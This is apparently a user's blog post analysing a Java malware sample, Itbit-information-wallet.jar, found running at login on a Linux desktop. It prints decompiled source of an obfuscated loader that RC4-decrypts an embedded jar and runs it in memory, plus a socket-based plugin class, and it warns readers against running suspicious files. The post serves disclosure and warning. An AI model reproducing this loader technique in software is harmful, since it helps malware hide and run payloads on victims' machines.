Everytime I logged in to my Desktop. A Java process started. I check it using command line (Guess what? I use GNU/Linux and even GNU/Linux are vulnerable!):
The malware started automatically as local process everytime that user logged in.
Yeah, Found that malware hidden folder.
That's the java executable files. If you extract the folder you got three folder and here is the content:
load
• ID
• JarMain.class
• MANIFEST.MF
META-INF
• MANIFEST.MF
plugins
• UnrecomServer.class
Seems that the Main Class are JarMain.class I try to decompile it and here is the source code:
package load;
import java.io.BufferedReader;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.util.HashMap;
import java.util.jar.JarEntry;
import java.util.jar.JarInputStream;
public class JarMain
extends ClassLoader
{
private HashMap a = new HashMap();
private HashMap b = new HashMap();
public static boolean c;
public static boolean d;
private static final String[] z;
public InputStream getResourceAsStream(String paramString)
{
byte[] arrayOfByte = (byte[])this.b.get(paramString.replace("/", ".").replace(JarMain.z[6], ""));
if (arrayOfByte != null)
{
ByteArrayInputStream localByteArrayInputStream = new ByteArrayInputStream(arrayOfByte);
return localByteArrayInputStream;
}
return null;
}
public JarMain()
{
super(JarMain.class.getClassLoader());
b();
}
private String a(InputStream paramInputStream)
{
InputStreamReader localInputStreamReader = new InputStreamReader(paramInputStream);
BufferedReader localBufferedReader = new BufferedReader(localInputStreamReader);
String str = localBufferedReader.readLine();
return str;
}
private JarInputStream a(byte[] paramArrayOfByte, String paramString)
{
return new JarInputStream(new ByteArrayInputStream(b(paramArrayOfByte, paramString)));
}
private InputStream a()
{
return getClass().getResourceAsStream(new StringBuilder(JarMain.z[4]).reverse().toString());
}
public synchronized void b()
{
boolean bool = JarMain.d;
InputStream localInputStream = getClass().getResourceAsStream(new StringBuilder(JarMain.z[3]).reverse().toString());
String str1 = a(localInputStream);
StringBuilder localStringBuilder1 = new StringBuilder();
StringBuilder localStringBuilder2 = new StringBuilder();
StringBuilder localStringBuilder3 = new StringBuilder();
StringBuilder localStringBuilder4 = new StringBuilder();
StringBuilder localStringBuilder5 = new StringBuilder();
StringBuilder localStringBuilder6 = new StringBuilder();
StringBuilder localStringBuilder7 = new StringBuilder();
StringBuilder localStringBuilder8 = new StringBuilder();
localInputStream = a();
StringBuilder localStringBuilder9 = new StringBuilder();
StringBuilder localStringBuilder10 = new StringBuilder();
StringBuilder localStringBuilder11 = new StringBuilder();
StringBuilder localStringBuilder12 = new StringBuilder();
StringBuilder localStringBuilder13 = new StringBuilder();
StringBuilder localStringBuilder14 = new StringBuilder();
StringBuilder localStringBuilder15 = new StringBuilder();
byte[] arrayOfByte = new byte['Ѐ'];
ByteArrayOutputStream localByteArrayOutputStream1 = new ByteArrayOutputStream();
int i;
while ((i = localInputStream.read(arrayOfByte)) > -1)
{
localByteArrayOutputStream1.write(arrayOfByte, 0, i);
if (bool) {
break label248;
}
if (bool) {
JarMain.c = !JarMain.c;
}
}
localByteArrayOutputStream1.close();
localInputStream.close();
label248:
JarInputStream localJarInputStream = a(localByteArrayOutputStream1.toByteArray(), str1);
JarEntry localJarEntry1 = b(localJarInputStream);
label463:
do
{
while ((localJarEntry1 = localJarInputStream.getNextJarEntry()) != null) {
if (!localJarEntry1.isDirectory())
{
JarEntry localJarEntry2 = new JarEntry(JarMain.z[2]);
JarEntry localJarEntry3 = new JarEntry(JarMain.z[2]);
JarEntry localJarEntry4 = new JarEntry(JarMain.z[2]);
JarEntry localJarEntry5 = new JarEntry(JarMain.z[2]);
String str2 = a(localJarEntry1);
JarEntry localJarEntry6 = new JarEntry(JarMain.z[2]);
JarEntry localJarEntry7 = new JarEntry(JarMain.z[2]);
ByteArrayOutputStream localByteArrayOutputStream2 = new ByteArrayOutputStream();
do
{
if ((i = localJarInputStream.read(arrayOfByte)) <= -1) {
break;
}
localByteArrayInputStream = new ByteArrayInputStream(new byte[] { 1 });
localByteArrayOutputStream2.write(arrayOfByte, 0, i);
if (bool) {
break label463;
}
} while (!bool);
localByteArrayOutputStream2.close();
ByteArrayInputStream localByteArrayInputStream = new ByteArrayInputStream(new byte[] { 1 });
this.b.put(str2, localByteArrayOutputStream2.toByteArray());
a(localJarInputStream);
}
}
localJarInputStream.close();
} while (bool);
}
private void a(JarInputStream paramJarInputStream)
{
paramJarInputStream.closeEntry();
}
private String a(JarEntry paramJarEntry)
{
JarEntry localJarEntry1 = new JarEntry(JarMain.z[2]);
JarEntry localJarEntry2 = new JarEntry(JarMain.z[2]);
JarEntry localJarEntry3 = new JarEntry(JarMain.z[2]);
JarEntry localJarEntry4 = new JarEntry(JarMain.z[2]);
String str = paramJarEntry.getName();
JarEntry localJarEntry5 = new JarEntry(JarMain.z[2]);
JarEntry localJarEntry6 = new JarEntry(JarMain.z[2]);
str = str.replace("/", ".");
JarEntry localJarEntry7 = new JarEntry(JarMain.z[2]);
JarEntry localJarEntry8 = new JarEntry(JarMain.z[2]);
str = str.replace(JarMain.z[6], "");
JarEntry localJarEntry9 = new JarEntry(JarMain.z[2]);
JarEntry localJarEntry10 = new JarEntry(JarMain.z[2]);
return str;
}
private JarEntry b(JarInputStream paramJarInputStream)
{
return paramJarInputStream.getNextJarEntry();
}
public Class loadClass(String paramString)
{
return findClass(paramString);
}
/* Error */
public Class findClass(String paramString)
{
// Byte code:
// 0: aload_0
// 1: getfield 16 load/JarMain:a Ljava/util/HashMap;
// 4: aload_1
// 5: invokevirtual 7 java/util/HashMap:get (Ljava/lang/Object;)Ljava/lang/Object;
// 8: checkcast 59 java/lang/Class
// 11: astore_2
// 12: aload_2
// 13: getstatic 252 load/JarMain:d Z
// 16: ifne +23 -> 39
// 19: ifnull +15 -> 34
// 22: goto +4 -> 26
// 25: athrow
// 26: aload_0
// 27: aload_2
// 28: invokevirtual 60 load/JarMain:resolveClass (Ljava/lang/Class;)V
// 31: aload_2
// 32: areturn
// 33: athrow
// 34: aload_0
// 35: aload_1
// 36: invokevirtual 61 load/JarMain:findSystemClass (Ljava/lang/String;)Ljava/lang/Class;
// 39: areturn
// 40: astore_3
// 41: new 27 java/lang/StringBuilder
// 44: dup
// 45: invokespecial 35 java/lang/StringBuilder: ()V
// 48: astore_3
// 49: new 27 java/lang/StringBuilder
// 52: dup
// 53: invokespecial 35 java/lang/StringBuilder: ()V
// 56: astore 4
// 58: new 27 java/lang/StringBuilder
// 61: dup
// 62: invokespecial 35 java/lang/StringBuilder: ()V
// 65: astore 5
// 67: new 27 java/lang/StringBuilder
// 70: dup
// 71: invokespecial 35 java/lang/StringBuilder: ()V
// 74: astore 6
// 76: new 27 java/lang/StringBuilder
// 79: dup
// 80: invokespecial 35 java/lang/StringBuilder: ()V
// 83: astore 7
// 85: new 27 java/lang/StringBuilder
// 88: dup
// 89: invokespecial 35 java/lang/StringBuilder: ()V
// 92: astore 8
// 94: new 27 java/lang/StringBuilder
// 97: dup
// 98: invokespecial 35 java/lang/StringBuilder: ()V
// 101: astore 9
// 103: new 27 java/lang/StringBuilder
// 106: dup
// 107: invokespecial 35 java/lang/StringBuilder: ()V
// 110: astore 10
// 112: new 27 java/lang/StringBuilder
// 115: dup
// 116: invokespecial 35 java/lang/StringBuilder: ()V
// 119: astore 11
// 121: new 27 java/lang/StringBuilder
// 124: dup
// 125: invokespecial 35 java/lang/StringBuilder: ()V
// 128: astore 12
// 130: new 27 java/lang/StringBuilder
// 133: dup
// 134: invokespecial 35 java/lang/StringBuilder: ()V
// 137: astore 13
// 139: aload_0
// 140: getfield 1 load/JarMain:b Ljava/util/HashMap;
// 143: aload_1
// 144: invokevirtual 7 java/util/HashMap:get (Ljava/lang/Object;)Ljava/lang/Object;
// 147: checkcast 8 [B
// 150: astore 14
// 152: aload_0
// 153: aload_1
// 154: aload 14
// 156: invokespecial 63 load/JarMain:a (Ljava/lang/String;[B)Ljava/lang/Class;
// 159: astore_2
// 160: aload_0
// 161: getfield 16 load/JarMain:a Ljava/util/HashMap;
// 164: aload_1
// 165: aload_2
// 166: invokevirtual 52 java/util/HashMap:put (Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
// 169: pop
// 170: aload_2
// 171: areturn
// Local variable table:
// start length slot name signature
// 0 172 0 this JarMain
// 0 172 1 paramString String
// 11 160 2 localClass Class
// 40 1 3 localClassNotFoundException1 java.lang.ClassNotFoundException
// 48 1 3 localStringBuilder1 StringBuilder
// 56 1 4 localStringBuilder2 StringBuilder
// 65 1 5 localStringBuilder3 StringBuilder
// 74 1 6 localStringBuilder4 StringBuilder
// 83 1 7 localStringBuilder5 StringBuilder
// 92 1 8 localStringBuilder6 StringBuilder
// 101 1 9 localStringBuilder7 StringBuilder
// 110 1 10 localStringBuilder8 StringBuilder
// 119 1 11 localStringBuilder9 StringBuilder
// 128 1 12 localStringBuilder10 StringBuilder
// 137 1 13 localStringBuilder11 StringBuilder
// 150 5 14 arrayOfByte byte[]
// 25 1 16 localClassNotFoundException2 java.lang.ClassNotFoundException
// 33 1 17 localClassNotFoundException3 java.lang.ClassNotFoundException
// Exception table:
// from to target type
// 12 22 25 java/lang/ClassNotFoundException
// 19 33 33 java/lang/ClassNotFoundException
// 34 39 40 java/lang/ClassNotFoundException
}
private Class a(String paramString, byte[] paramArrayOfByte)
{
return defineClass(paramString, paramArrayOfByte, 0, paramArrayOfByte.length);
}
private byte[] b(byte[] paramArrayOfByte, String paramString)
{
boolean bool = JarMain.d;
String str = paramString + JarMain.z[5];
byte[] arrayOfByte = paramArrayOfByte;
int[] arrayOfInt1 = new int['ā'];
int[] arrayOfInt2 = new int['ā'];
int i = 0;
int j = 0;
int i1 = 0;
int k = 0;
int m = 0;
int n = 0;
i = 0;
do
{
if (i >= 256) {
break;
}
arrayOfInt1[i] = i;
i++;
if (bool) {
break label97;
}
} while (!bool);
j = 0;
label97:
i = 0;
do
{
if (i >= 256) {
break;
}
if (!bool)
{
if (bool) {
break label163;
}
if (j != str.length()) {}
}
else
{
j = 0;
}
arrayOfInt2[i] = str.charAt(j++);
i++;
} while (!bool);
j = 0;
i = 0;
label163:
do
{
if (i >= 256) {
break;
}
j = (j + arrayOfInt1[i] + arrayOfInt2[i]) % 256;
n = (char)arrayOfInt1[i];
arrayOfInt1[i] = arrayOfInt1[j];
arrayOfInt1[j] = n;
i++;
if (bool) {
break label230;
}
} while (!bool);
i = j = 0;
label230:
m = 0;
do
{
if (m >= arrayOfByte.length) {
break;
}
i = (i + 1) % 256;
j = (j + arrayOfInt1[i]) % 256;
n = (char)arrayOfInt1[i];
arrayOfInt1[i] = arrayOfInt1[j];
arrayOfInt1[j] = n;
k = (arrayOfInt1[i] + arrayOfInt1[j]) % 256;
i1 = (char)arrayOfInt1[k];
if (bool) {
break label344;
}
arrayOfByte[m] = ((byte)(arrayOfByte[m] ^ i1));
m++;
} while (!bool);
label344:
return arrayOfByte;
}
public static void main(String[] paramArrayOfString)
{
boolean bool = JarMain.d;
JarMain localJarMain = new JarMain();
Class localClass = localJarMain.loadClass(JarMain.z[1]);
Method localMethod = localClass.getMethod(JarMain.z[0], new Class[] { [Ljava.lang.String.class });
int i = localMethod.getModifiers();
if ((bool) || ((Modifier.isPublic(i)) && (Modifier.isStatic(i)))) {
localMethod.invoke(null, new Object[] { new String[0] });
}
if (JarMain.c) {
JarMain.d = !bool;
}
}
static
{
break label76;
0["l\0058\\"] = -1;
break label76;
1["H\n8Q{n"] = 0;
break label76;
2["b\013<\034x`\0220\034at\n"] = 1;
break label76;
3["E-"] = 2;
break label76;
4["G)fAD\"\030|SLK5S}mK"] = 3;
String[] tmp51_2 = new String[7];
break label76;
5["E!\002e%N3\032wXS1eb J"] = 4;
break label76;
6["/\007=Sar"] = 5;
JarMain.z = tmp51_2;
return;
label76:
tmp80_77 = tmp51_2.toCharArray();
int i = 0;
if (tmp80_77.length <= 1) {}
do
{
char[] tmp91_80 = tmp80_77;
int tmp93_92 = i;;
switch (i % 5)
{
case 0:
tmpTernaryOp = 1;
break;
case 1:
tmpTernaryOp = 100;
break;
case 2:
tmpTernaryOp = 81;
break;
case 3:
tmpTernaryOp = 50;
break;
}
tmp93_91[tmp93_92] = ((char)(tmp93_91[tmp93_92] ^ 0x12));
} while (tmp166_152 > i);
new String(tmp160_152);
tmp166_152;
switch (tmp160_91)
{
}
}
}
Java Source code for UnrecomServer.class
package plugins;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.net.Socket;
import java.util.Properties;
public abstract class UnrecomServer
{
public Socket socket;
public ObjectOutputStream out;
public ObjectInputStream in;
private static final long serialVersionUID = 1086053664594604059L;
public static Properties config;
public abstract void offLine();
public abstract String getId();
public abstract void onLine();
}
Thanks God, I don't lost any bitcoin. I don't know what kind of malware it is, maybe some KeyLogger?
I am warning you guys not to open or run suspicious file. Even if you are running Mac OS X or GNU/Linux. Many malware today are designed to run on multi platform using Java or Python like this malware.
Last but not least, here is the Malware File: Itbit-information-wallet.jar (Don't Run it on any system you care)